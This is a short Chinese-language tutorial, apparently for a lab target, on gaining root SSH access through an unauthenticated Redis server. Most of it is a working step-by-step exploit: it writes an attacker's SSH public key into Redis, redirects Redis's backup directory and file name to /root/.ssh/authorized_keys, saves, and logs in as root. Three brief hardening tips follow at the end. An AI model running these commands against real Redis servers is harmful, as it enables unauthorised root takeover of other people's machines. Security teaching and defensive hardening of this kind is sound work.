前置条件:

1、操作机已安装redis客户端:redis-cli

2、已使用ssh-keygen生成用于测试的ssh公钥|私钥(ssh-keygen -t rsa -C "test")


操作步骤:

1、将之前生成的公钥写入文件中

cd ~/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> hack.txt

2、将hack.txt写入靶机Redis

Redis客户端连接Redis服务器的方法:

无密码连接方法:redis-cli -h [Redis服务器IP]

有密码连接方式:redis-cli -h [Redis服务器IP] –a [Redis连接密码]

cat hack.txt | redis-cli -h 192.168.18.60 -x set crack

3、利用Redis客户端连接靶机Redis

redis-cli -h 192.168.18.60
#查看靶机Redis备份路径
CONFIG GET dir
#修改靶机Redis备份路径
CONFIG SET dir /root/.ssh
#设置备份文件的名称为authorized_keys
CONFIG SET dbfilename authorized_keys
#检查是否更改成功
CONFIG GET dbfilename
#保存
save

4、测试ssh公钥是否写入成功

ssh root@192.168.18.60

看下图成功通过redis实现免密ssh到靶机:

redis-ssh.png

至此通过redis获取靶机root用户SSH权限操作结束。


此漏洞防御方案如下:

  1. 1、不要使用root用户运行redis服务

  2. 2、只允许本机访问Redis (在redis.conf配置文件设置bind配置项为:bind 127.0.0.1  )

  3. 3、增加Redis访问密码 (在redis.conf配置文件中找到requirepass 配置项,取消#注释符,在requirepass 后面添加需要设置的密码字符串)